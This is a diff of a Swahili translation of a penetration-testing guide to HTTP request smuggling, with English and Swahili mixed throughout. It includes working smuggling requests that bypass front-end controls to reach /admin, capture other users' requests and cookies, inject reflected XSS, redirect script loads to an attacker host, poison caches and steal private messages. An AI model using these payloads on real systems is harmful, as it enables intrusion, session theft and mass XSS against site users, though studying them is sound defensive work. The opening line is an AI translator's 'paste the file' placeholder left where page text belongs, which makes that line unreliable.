-I don't have the file contents. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md that you want translated. I will translate the relevant English text to Swahili while preserving all markdown, code, tags, links, paths and hacking terms as you specified.
+I don't have the file contents. Please paste the text from src/pentesting-web/http-request-smuggling/README.md that you want translated to Swahili, and I'll translate it following your rules.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -357,7 +357,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Ikiwa server iliipuuzia `Content_Length` iliyopangwa vibaya, hakuna FE↔BE desync. Kwa kutumia upya, client yako kwa kweli ilituma byte-stream hii, ambayo server iliparse kama requests mbili za kujitegemea:
+Ikiwa server ilipuuzia `Content_Length` isiyokuwa sahihi, hakuna FE↔BE desync. Kwa reuse, mteja wako kwa kweli alituma mtiririko huu wa byte, ambao server ikaichambua kama requests mbili huru:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -371,55 +371,54 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Athari: hakuna. Umeleta desync kati ya client na server framing.
+Impact: none. Umeondoa tu synchronisation ya client yako na framingi ya server.

 > [!TIP]
-> Burp modules zinazotegemea reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
+> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

-### Litmus tests: pipelining or real desync?
+### Mitihani ya Litmus: pipelining au desync halisi?

 1. Disable reuse and re-test
 - Katika Burp Intruder/Repeater, zima HTTP/1 reuse na epuka "Send group in sequence".
 - Katika Turbo Intruder, weka `requestsPerConnection=1` na `pipeline=False`.
- Ikiwa tabia inapotoweka, labda ilikuwa pipelining upande wa client, isipokuwa ikiwa unashughulika na connection-locked/stateful targets au client-side desync.
+- Ikiwa tabia inapotea, ilikuwa inaelekea kuwa pipelining upande wa client, isipokuwa unaposhughulika na targets zilizo connection-locked/stateful au client-side desync.
 2. HTTP/2 nested-response check
- Tuma ombi la HTTP/2. Ikiwa mwili wa response una response kamili ya nested HTTP/1, umeathibitisha bug ya backend parsing/desync badala ya artifact ya client peke yake.
-3. Partial-requests probe for connection-locked front-ends
- Baadhi ya FEs zinatumia tena tu connection ya upstream BE ikiwa client alitumia yao tena. Tumia partial-requests kugundua tabia ya FE inayofanana na client reuse.
+- Tuma ombi la HTTP/2. Ikiwa mwili wa response una response kamili ya HTTP/1 iliyofichwa, umeonesha bug ya backend parsing/desync badala ya artifact safi ya client.
+3. Partial-requests probe kwa front-ends zilizofungwa kwa connection
+- Baadhi ya FEs hutumia tena connection ya upstream BE tu ikiwa client yao ilitumia tena yao. Tumia partial-requests kugundua tabia ya FE inayorudia reuse ya client.
 - Angalia PortSwigger "Browser‑Powered Desync Attacks" kwa mbinu ya connection-locked.
 4. State probes
- Angalia tofauti kati ya ombi la kwanza na ombi la baadaye kwenye connection moja ya TCP (first-request routing/validation).
- Burp "HTTP Request Smuggler" inajumuisha connection‑state probe inayofanya otomatiki hili.
+- Tafuta tofauti kati ya ombi la kwanza na maagizo yaliyofuata kwenye TCP connection ile ile (first-request routing/validation).
+- Burp "HTTP Request Smuggler" ina connection‑state probe inayofanya hili kuwa automatiska.
 5. Visualize the wire
- Tumia extension ya Burp "HTTP Hacker" kuchunguza concatenation na message framing moja kwa moja wakati wa kujaribu reuse na partial requests.
+- Tumia Burp "HTTP Hacker" extension kuchunguza concatenation na message framing moja kwa moja wakati wa kujaribu reuse na partial requests.

 ### Connection‑locked request smuggling (reuse-required)

-Baadhi ya front-ends zinatumia tena connection ya upstream tu wakati client anaitumia yao tena. Real smuggling ipo lakini inategemea client-side reuse. Ili kutofautisha na kuthibitisha athari:
- Thibitisha bug upande wa server
+Baadhi ya front-ends hutumia tena connection ya upstream tu wakati client inaitumia yao. Smuggling halisi ipo lakini ni conditional kwa client-side reuse. Ili kutofautisha na kuthibitisha athari:
+- Thibitisha server-side bug
 - Tumia HTTP/2 nested-response check, au
- Tumia partial-requests kuonyesha FE inatumia tena upstream tu inapomtegemea client.
- Onyesha athari halisi hata kama direct cross-user socket abuse imezuiwa:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
+- Tumia partial-requests kuonyesha FE inatumia tena upstream tu wakati client inafanya hivyo.
+- Onyesha athari halisi hata kama udhalilishaji wa socket wa msimamizi mwingine umekwama:
+  - Cache poisoning: poison shared caches kupitia desync ili responses ziathiri watumiaji wengine.
+  - Internal header disclosure: reflect FE-injected headers (mfano, auth/trust headers) na pivia kuelekea auth bypass.
+  - Bypass FE controls: smuggle restricted paths/methods mbele ya front-end.
+  - Host-header abuse: unda mchanganyiko na quirks za host routing ili pivia kwenye internal vhosts.
 - Operator workflow
- Rudia kwa reuse iliyodhibitiwa (Turbo Intruder `requestsPerConnection=2`, au Burp Repeater tab group → "Send group in sequence (single connection)").
- Kisha chain kwa cache/header-leak/control-bypass primitives na onyesha athari kwa cross-user au authorization.
+  - Rudia na reuse iliyodhibitiwa (Turbo Intruder `requestsPerConnection=2`, au Burp Repeater tab group → "Send group in sequence (single connection)").
+  - Kisha fanya chain kwa primitives za cache/header-leak/control-bypass na onyesha athari kwa watumiaji wengine au kuingilia idhini.

-> Tazama pia connection‑state attacks, ambazo zina uhusiano karibu lakini si kiufundi smuggling:
+> See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
->
-{{#endref}}
+>{{#endref}}

 ### Client‑side desync constraints

-Ikiwa unalenga browser-powered/client-side desync, ombi hasidi lazima litumwe na browser kwa cross-origin. Header obfuscation tricks hazitafanyi kazi. Lenga primitives zinazoweza kufikiwa kupitia navigation/fetch, kisha pivota kwa cache poisoning, header disclosure, au front-end control bypass ambapo downstream components zinaonyesha au kushika responses.
+Ikiwa unalenga browser-powered/client-side desync, ombi la mbaya lazima liwe linaweza kutumwa na browser cross-origin. Header obfuscation tricks hazitafanya kazi. Zingatia primitives zinazoweza kufikiwa kupitia navigation/fetch, kisha pivia kwa cache poisoning, internal header disclosure, au front-end control bypass pale ambapo components za downstream zinaonyesha au kuzihifadhi responses.

-Kwa historia na workflows za end-to-end:
+For background and end-to-end workflows:

 {{#ref}}
 browser-http-request-smuggling.md
@ -427,21 +426,21 @@ browser-http-request-smuggling.md

 ### Tooling to help decide

- HTTP Hacker (Burp BApp Store): inaonyesha low-level HTTP behavior na socket concatenation.
+- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: udhibiti sahihi wa connection reuse kupitia `requestsPerConnection`.
- Burp HTTP Request Smuggler: inajumuisha connection‑state probe kugundua first‑request routing/validation.
+- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
+- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

 > [!NOTE]
-> Chukulia athari zinazotegemea reuse pekee kama sio masuala isipokuwa unaweza kuthibitisha server-side desync na kuonyesha athari halisi (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, n.k.).
+> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

 ## Abusing HTTP Request Smuggling

 ### Circumventing Front-End Security via HTTP Request Smuggling

-Wakati mwingine, front-end proxies zinaweka hatua za usalama, zikifuatilia maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kukweptwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwenye endpoints zilizozuiliwa. Kwa mfano, kufikia `/admin` inaweza kuzuia kwa upande wa nje, na front-end proxy ikizuia majaribio hayo. Hata hivyo, proxy hii inaweza kukosa kuchunguza maombi yaliyofungwa ndani ya smuggled HTTP request, na hivyo kuacha nafasi ya kukwepa vizuizi hivyo.
+Mara nyingine, front-end proxies hufanya utekelezaji wa hatua za usalama, wakichunguza incoming requests. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia HTTP Request Smuggling, kuruhusu upatikanaji usioidhinishwa kwa endpoints zilizofungwa. Kwa mfano, kufikia `/admin` kunaweza kushindwa kutoka nje, na front-end proxy ikizuia jaribio hilo kwa uangalizi. Hata hivyo, proxy hii inaweza kushindwa kuchunguza requests zilizowekwa ndani ya ombi lililosmuggled, ikiacha mwanya wa kupitisha vizuizi hivi.

-Angalia mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inavyoweza kutumika kukwepa udhibiti wa usalama wa front-end, hasa inalenga njia ya `/admin` ambayo kwa kawaida inalindwa na front-end proxy:
+Fikiria mifano ifuatayo ikiyoelezea jinsi HTTP Request Smuggling inavyoweza kutumika kupitisha controls za usalama za front-end, hasa ikilenga path `/admin` ambayo kwa kawaida inalindwa na front-end proxy:

 **CL.TE Example**
 ```
@ -460,9 +459,9 @@ Content-Length: 10

 x=
 ```
-In the CL.TE attack, the `Content-Length` header is leveraged for the initial request, while the subsequent embedded request utilizes the `Transfer-Encoding: chunked` header. The front-end proxy processes the initial `POST` request but fails to inspect the embedded `GET /admin` request, allowing unauthorized access to the `/admin` path.
+Katika shambulio la CL.TE, kichwa cha `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililojengwa baadaye linatumia kichwa cha `Transfer-Encoding: chunked`. front-end proxy inashughulikia ombi la awali la `POST` lakini inashindwa kukagua ombi lililojengwa la `GET /admin`, ikiruhusu upatikanaji usioidhinishwa wa njia ya `/admin`.

-**TE.CL Example**
+**TE.CL Mfano**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -478,13 +477,13 @@ a=x
 0

 ```
-Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Transfer-Encoding: chunked`, na ombi lililojazwa baadaye linashughulikiwa kulingana na kichwa cha `Content-Length`. Kama ilivyo katika shambulio la CL.TE, the front-end proxy hupuuza the smuggled `GET /admin` request, na bila kukusudia hutoa ufikiaji kwa njia iliyozuiliwa `/admin`.
+Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Transfer-Encoding: chunked`, na ombi lililojumuishwa baadaye linashughulikiwa kwa msingi wa kichwa cha `Content-Length`. Kama katika shambulio la CL.TE, front-end proxy inapuuza ombi la `GET /admin` lililochomwa ndani, na kwa bahati mbaya hutoa ufikiaji wa njia iliyozuiliwa `/admin`.

-### Kufichua uhariri wa maombi wa front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Kufichua kuandika upya maombi ya front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

-Programu za wavuti mara nyingi hutumia **front-end server** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa back-end server. Marekebisho ya kawaida ni pamoja na kuongeza headers, kama `X-Forwarded-For: <IP of the client>`, ili kusafirisha IP ya mteja kwa back-end. Kuelewa mabadiliko haya kunaweza kuwa muhimu, kwani yanaweza kufichua njia za **kuepuka ulinzi** au **kugundua taarifa zilizofichwa au endpoints**.
+Maombi mara nyingi hutumia **front-end server** ili kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa back-end server. Marekebisho ya kawaida ni pamoja na kuongeza headers, kama `X-Forwarded-For: <IP of the client>`, ili kumtumia IP ya mteja kwa back-end. Kuelewa marekebisho haya inaweza kuwa muhimu, kwani yanaweza kufichua njia za **bypass protections** au **gundua taarifa zilizofichwa au endpoints**.

-Ili kuchunguza jinsi proxy inavyobadilisha ombi, tafuta parameter ya POST ambayo back-end inarudia katika response. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, sawa na ifuatayo:
+Ili kuchunguza jinsi proxy inavyobadilisha ombi, tafuta parameter ya POST ambayo back-end inarejea katika jibu. Kisha, tengeneza ombi ukiwa umeweka parameter hii mwishoni, sawia na yafuatayo:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -501,19 +500,19 @@ Content-Length: 100

 search=
 ```
-Katika muundo huu, vipengele vinavyofuata vya request vinaongezwa baada ya `search=`, ambayo ni parameter inayorudishwa katika response. Uakisi huu utafunua headers za request inayofuata.
+Katika muundo huu, vipengele vya ombi vinavyofuata vinaongezwa baada ya `search=`, ambayo ni parameter inayorejeshwa katika jibu. Ufunuo huu utaonyesha headers za ombi linalofuata.

-Ni muhimu kulinganisha header ya `Content-Length` ya nested request na urefu halisi wa content. Kuanza na thamani ndogo na kuiongezea polepole ni busara, kwa sababu thamani ndogo itakata data iliyoreflektwa, wakati thamani kubwa sana inaweza kusababisha request kutoa error.
+Ni muhimu kuoanisha header ya `Content-Length` ya ombi lililokuwa ndani na urefu halisi wa maudhui. Ni vyema kuanza kwa thamani ndogo na kuongeza polepole, kwa kuwa thamani iliyopo chini sana itakata data iliyorejeshwa, huku thamani iliyopo juu sana ikisababisha ombi lipate kosa.

-Mbinu hii pia inafaa katika muktadha wa TE.CL vulnerability, lakini request inapaswa kumalizika kwa `search=\r\n0`. Bila kuzingatia newline characters, thamani zitatajirisha kwenye parameter ya search.
+Mbinu hii pia inafaa katika muktadha wa TE.CL vulnerability, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali tabia za newline, thamani zitataongezwa kwa parameter ya search.

-Njia hii kwa msingi wake inatumika kuelewa mabadiliko ya request yanayotolewa na front-end proxy, kwa msingi kufanya uchunguzi wa kujitegemea.
+Njia hii kwa msingi wake hutumika kuelewa mabadiliko ya maombi yanayofanywa na front-end proxy, kwa maana kufanya uchunguzi unaojielekeza.

-### Kukamata requests za watumiaji wengine <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Kukamata maombi ya watumiaji wengine <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

-Inawezekana kukamata requests za mtumiaji anayefuata kwa kuambatisha request maalum kama value ya parameter wakati wa operesheni ya POST. Hivi ndivyo inavyoweza kufanywa:
+Inawezekana kukamata maombi ya mtumiaji anayefuata kwa kuambatanisha ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa ni jinsi hili linavyoweza kufanywa:

-Kwa kuambatisha request ifuatayo kama value ya parameter, unaweza kuhifadhi request ya client inayofuata:
+Kwa kuambatanisha ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja linalofuata:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -533,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-Katika tukio hili, **comment parameter** inakusudiwa kuhifadhi yaliyomo ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, yaliyomo ya request inayofuata yataonekana kama maoni.
+Katika senario hii, **kigezo cha maoni** kimekusudiwa kuhifadhi yaliyomo ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaoweza kufikiwa hadharani. Kwa hivyo, yaliyomo ya ombi linalofuata yataonekana kama maoni.

-Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi delimiter ya parameter inayotumiwa katika smuggled request. Kwa URL-encoded form submissions, delimiter ni tabia ya `&`. Hii inamaanisha yaliyomkamatwa kutoka kwa request ya mtumiaji mjeruhi yatakwama kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya query string.
+Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi mtenganishi wa kigezo unaotumiwa katika ombi lililofichwa. Kwa maombi ya fomu za URL-encoded, mtenganishi huu ni tabia ya `&`. Hii inamaanisha yaliyomo yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathirika yatakoma kwa `&` ya kwanza, ambayo hata inaweza kuwa sehemu ya query string.

-Zaidi ya hayo, inafaa kutambua kuwa njia hii pia inaweza kufanya kazi kwa TE.CL vulnerability. Katika kesi hizo, request inapaswa kumalizika na `search=\r\n0`. Bila kujali newline characters, thamani zitakuwa appended kwenye parameter ya search.
+Zaidi ya hayo, inafaa kutambua kwamba njia hii pia inafaa kwa TE.CL vulnerability. Katika kesi hizo, ombi linapaswa kumalizika kwa `search=\r\n0`. Bila kujali newline characters, thamani zitaongezwa kwa kigezo la search.

-### Kutumia HTTP request smuggling to exploit Reflected XSS
+### Kutumia HTTP Request Smuggling ku-exploit Reflected XSS

-HTTP Request Smuggling inaweza kutumika ku-exploit kurasa za wavuti zilizoathirika na **Reflected XSS**, ikitoa faida kubwa:
+HTTP Request Smuggling inaweza kutumika ku-exploit kurasa za wavuti zilizo hatarini kwa **Reflected XSS**, ikitoa faida kubwa:

- Kujihusisha na watumiaji walengwa **hayahitajiki**.
- Inawezesha ku-exploit XSS katika sehemu za request ambazo kwa kawaida ni **hazipatikani**, kama HTTP request headers.
+- Kushirikiana na watumiaji wa lengo **si kunahitajika**.
+- Inaruhusu exploitation ya XSS katika sehemu za ombi ambazo kwa kawaida ni **haziwezekani kufikiwa**, kama HTTP request headers.

-Katika matukio ambapo tovuti inakabiliwa na Reflected XSS kupitia User-Agent header, payload ifuatayo inaonyesha jinsi ya ku-exploit vulnerability hii:
+Katika matukio ambapo tovuti inavyoathirika na **Reflected XSS** kupitia header ya User-Agent, payload ifuatayo inaonyesha jinsi ya ku-exploit udhaifu huu:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -567,36 +566,36 @@ Content-Type: application/x-www-form-urlencoded

 A=
 ```
-Payload hii imepangwa kutumia udhaifu kwa njia zifuatazo:
+This payload imepangwa ili kuchochea udhaifu kwa:

-1. Kuanza ombi la `POST`, linaloonekana kawaida, kwa header `Transfer-Encoding: chunked` kuonyesha mwanzo wa smuggling.
-2. Kufuata na `0`, ikionyesha mwisho wa body ya meseji ya chunked.
-3. Kisha, ombi lililosmuggle la `GET` linaingizwa, ambapo header `User-Agent` limeingizwa na script `<script>alert(1)</script>`, likochochea XSS wakati server inachakata ombi hili.
+1. Kuanza ombi la `POST`, ambalo linaonekana la kawaida, likiwa na kichwa `Transfer-Encoding: chunked` kuashiria kuanza kwa smuggling.
+2. Ikifuatiwa na `0`, ikionyesha mwisho wa mwili wa ujumbe wa chunked.
+3. Kisha, ombi la `GET` smuggled linaingizwa, ambapo kichwa `User-Agent` kimejazwa na script, `<script>alert(1)</script>`, kinachosababisha XSS wakati server inaposindika ombi hili la baada.

-Kwa kuathiri `User-Agent` kupitia smuggling, payload hupita (bypasses) vizingiti vya kawaida vya maombi, na hivyo kutumia Reflected XSS vulnerability kwa njia isiyo ya kawaida lakini yenye ufanisi.
+Kwa kudhibiti `User-Agent` kupitia smuggling, payload inapita vikwazo vya kawaida vya ombi, na hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.

 #### HTTP/0.9

 > [!CAUTION]
-> Ikiwa maudhui ya mtumiaji yanarudishwa kwenye response yenye **`Content-type`** kama **`text/plain`**, ambayo inazuia utekelezaji wa XSS. Ikiwa server inaunga mkono **HTTP/0.9 inaweza kuwa inawezekana bypass hii**!
+> Iwapo maudhui ya mtumiaji yanarudishwa kwenye response yenye **`Content-type`** kama **`text/plain`**, hayo yanaweza kuzuia utekelezaji wa XSS. Ikiwa server inaunga mkono **HTTP/0.9 inaweza kuwa inawezekana kuipita hii**!

-Toleo la HTTP/0.9 lilikuwepo kabla ya 1.0 na linatumia tu vitenzi vya **GET** na **halijibu** kwa **headers**, bali mwili tu.
+Toleo la HTTP/0.9 lilitangulia 1.0 na linatumia tu vitenzi vya **GET** na **halirudii** kwa **headers**, bali mwili tu.

-Katika [**this writeup**](https://mizu.re/post/twisty-python), hili lilitumiwa kwa request smuggling na **endpoint iliyo dhaifu ambayo itajibu kwa maingizo ya mtumiaji** ili kusmuggle ombi kwa HTTP/0.9. Parameteri ambayo itarudishwa kwenye response ilikuwa na **fake HTTP/1.1 response (with headers and body)** hivyo response itajumuisha msimbo halali wa JS unaotekelezeka pamoja na `Content-Type` ya `text/html`.
+Katika [**this writeup**](https://mizu.re/post/twisty-python), hili lilitumiwa vibaya kwa request smuggling na **vulnerable endpoint that will reply with the input of the user** ili smuggle ombi kwa HTTP/0.9. Parameter ambayo ilirudishwa kwenye response ilijumuisha **fake HTTP/1.1 response (with headers and body)** hivyo response ilijazwa na msimbo sahihi wa JS unaotekelezeka na `Content-Type` ya `text/html`.

-### Kutumia On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

-Maombi mara nyingi huredirect kutoka URL moja hadi nyingine kwa kutumia hostname kutoka kwenye header ya `Host` katika redirect URL. Hii ni ya kawaida kwa web servers kama Apache na IIS. Kwa mfano, kuomba folda bila slash ya mwisho husababisha redirect ili kujumuisha slash:
+Applications mara nyingi zinaelekeza tena kutoka URL moja hadi nyingine kwa kutumia hostname kutoka kwa kichwa cha `Host` katika URL ya redirect. Hii ni ya kawaida kwenye web servers kama Apache na IIS. Kwa mfano, kuomba folder bila slash ya mwisho husababisha redirect ili kuongeza slash:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Matokeo:
+Inasababisha:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Ingawa inaonekana isiyoharibu, tabia hii inaweza kudhibitiwa kwa kutumia HTTP request smuggling ili kupeleka watumiaji kwenye tovuti ya nje. Kwa mfano:
+Ingawa inaonekana haina madhara, tabia hii inaweza kutumiwa kwa kutumia HTTP request smuggling ili kumwelekeza watumiaji kwenda tovuti ya nje. Kwa mfano:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -610,29 +609,29 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Ombi hili smuggled request linaweza kusababisha ombi la mtumiaji linalofanyiwa usindikaji lifuatayo kuelekezwa hadi attacker-controlled website:
+Ombi hili la smuggled request linaweza kusababisha ombi la mtumiaji linalofanyiwa kazi linalofuata kupelekwa kwenye attacker-controlled website:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: XGET /scripts/include.js HTTP/1.1
 Host: vulnerable-website.com
 ```
-Matokeo yake:
+Inasababisha:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-Katika tukio hili, ombi la mtumiaji la faili ya JavaScript linachukuliwa na mshambuliaji. Mshambuliaji anaweza kumdhuru mtumiaji kwa kumtumia JavaScript yenye madhara kama jibu.
+Katika hali hii, ombi la mtumiaji kwa faili ya JavaScript linachukuliwa kwa nguvu. Mshambuliaji anaweza kuweza kuvunja usalama wa mtumiaji kwa kutoa JavaScript hatarishi kama majibu.

-### Kutumia Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Kutumia Web Cache Poisoning kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Web cache poisoning inaweza kufanywa ikiwa kipengele chochote cha **miundombinu ya mbele kinakamata yaliyomo**, kawaida ili kuboresha utendaji. Kwa kuutapanya jibu la server, inawezekana **poison the cache**.
+Web cache poisoning inaweza kufanyika ikiwa sehemu yoyote ya **miundombinu ya front-end huhifadhi maudhui**, kawaida ili kuboresha utendaji. Kwa kuingilia majibu ya server, inawezekana **poison the cache**.

-Awali, tuliona jinsi majibu ya server yalivyoweza kubadilishwa ili kurudisha kosa la 404 (rejea [Basic Examples](#basic-examples)). Vivyo hivyo, inawezekana kumdanganya server ili itume yaliyomo ya `/index.html` kama jibu kwa ombi la `/static/include.js`. Kwa hivyo, yaliyomo ya `/static/include.js` yanabadilishwa kwenye cache na yale ya `/index.html`, na kuifanya `/static/include.js` isipatikane kwa watumiaji, jambo linaloweza kusababisha Denial of Service (DoS).
+Hapo awali, tuliangalia jinsi majibu ya server yalivyoweza kubadilishwa kurudisha kosa la 404 (rejea [Basic Examples](#basic-examples)). Vilevile, inawezekana kudanganya server ili itume maudhui ya `/index.html` kama majibu kwa ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanachukuliwa nafasi kwenye cache na yale ya `/index.html`, na kufanya `/static/include.js` isipatikane kwa watumiaji, jambo ambalo linaweza kusababisha Denial of Service (DoS).

-Mbinu hii inakuwa hatari zaidi ikiwa inagundulika udhaifu wa **Open Redirect vulnerability** au ikiwa kuna **on-site redirect to an open redirect**. Udhaifu kama huo unaweza kutumika kubadilisha yaliyomo yaliyokamatwa ya `/static/include.js` na script inayodhibitiwa na mshambuliaji, kwa msingi kuruhusu shambulio la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaoomba `/static/include.js` iliyosasishwa.
+Mbinu hii inakuwa hatari zaidi ikiwa ugunduzi wa **Open Redirect vulnerability** utatokea au ikiwa kuna **on-site redirect to an open redirect**. Udhaifu kama huo unaweza kutumika kubadilisha maudhui yaliyohifadhiwa kwenye cache ya `/static/include.js` na script inayodhibitiwa na mshambuliaji, na hivyo kuruhusu shambulio la Cross-Site Scripting (XSS) la upana kwa wateja wote wanaoomba `/static/include.js` iliyosasishwa.

-Hapo chini ni mfano wa kutumia **cache poisoning combined with an on-site redirect to open redirect**. Lengo ni kubadilisha yaliyomo kwenye cache ya `/static/include.js` ili kutumikia msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
+Chini kuna mfano wa kutekeleza **cache poisoning combined with an on-site redirect to open redirect**. Lengo ni kubadilisha maudhui yaliyoko kwenye cache ya `/static/include.js` ili kutumikia msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@ -650,20 +649,20 @@ Content-Length: 10

 x=1
 ```
-Angalia ombi lililojumuishwa linalolenga `/post/next?postId=3`. Ombi hili litaelekezwa hadi `/post?postId=4`, likitumia **Host header value** kutambua domain. Kwa kubadilisha **Host header**, mshambuliaji anaweza kurekebisha ombi liolekezwe kwa domain yao (**on-site redirect to open redirect**).
+Kumbuka ombi lililojumuishwa linalolenga `/post/next?postId=3`. Ombi hili litarudishwa kwa `/post?postId=4`, likitumia **Host header value** kubainisha domain. Kwa kubadilisha **Host header**, mshambuliaji anaweza kumwelekeza ombi hadi domain yao (**on-site redirect to open redirect**).

-Baada ya kufanikiwa kwa **socket poisoning**, ombi la **GET request** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la **on-site redirect to open redirect** na litapakia maudhui ya script inayodhibitiwa na mshambuliaji.
+Baada ya **socket poisoning** kufanikiwa, ombi la **GET request** la `/static/include.js` linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la **on-site redirect to open redirect** na litachukua yaliyomo ya script inayodhibitiwa na mshambuliaji.

-Baadaye, ombi lolote la `/static/include.js` litahudumia yaliyomo yaliyohifadhiwa (cache) ya script ya mshambuliaji, na hivyo kuanzisha shambulio pana la XSS.
+Baadaye, ombi lolote la `/static/include.js` litatumikia yaliyomo yaliyohifadhiwa kwenye cache ya script ya mshambuliaji, na kwa ufanisi kuanzisha shambulio pana la XSS.

-### Kutumia HTTP request smuggling kutekeleza web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Kutumia HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

-> **Je, tofauti kati ya web cache poisoning na web cache deception ni nini?**
+> **Tofauti kati ya web cache poisoning na web cache deception ni ipi?**
 >
-> - Katika **web cache poisoning**, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya yanatolewa kutoka cache kwa watumiaji wengine wa application.
-> - Katika **web cache deception**, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui nyeti ya mtumiaji mwingine kwenye cache, kisha mshambuliaji anaponya/kuupata maudhui haya kutoka cache.
+> - Katika **web cache poisoning**, mshambuliaji hufanya application kuhifadhi baadhi ya yaliyomo hatarishi kwenye cache, na yaliyomo hayo hutolewa kutoka cache kwa watumiaji wengine wa application.
+> - Katika **web cache deception**, mshambuliaji hufanya application kuhifadhi baadhi ya yaliyomo nyeti za mtumiaji mwingine kwenye cache, kisha mshambuliaji anapata yaliyomo hayo kutoka cache.

-Mshambuliaji huunda smuggled request inayopakua maudhui nyeti maalum ya mtumiaji. Angalia mfano ufuatao:
+Mshambuliaji huunda smuggled request inayochukua yaliyomo nyeti ya mtumiaji fulani. Angalia mfano ufuatao:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@ -674,19 +673,17 @@ Mshambuliaji huunda smuggled request inayopakua maudhui nyeti maalum ya mtumiaji
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
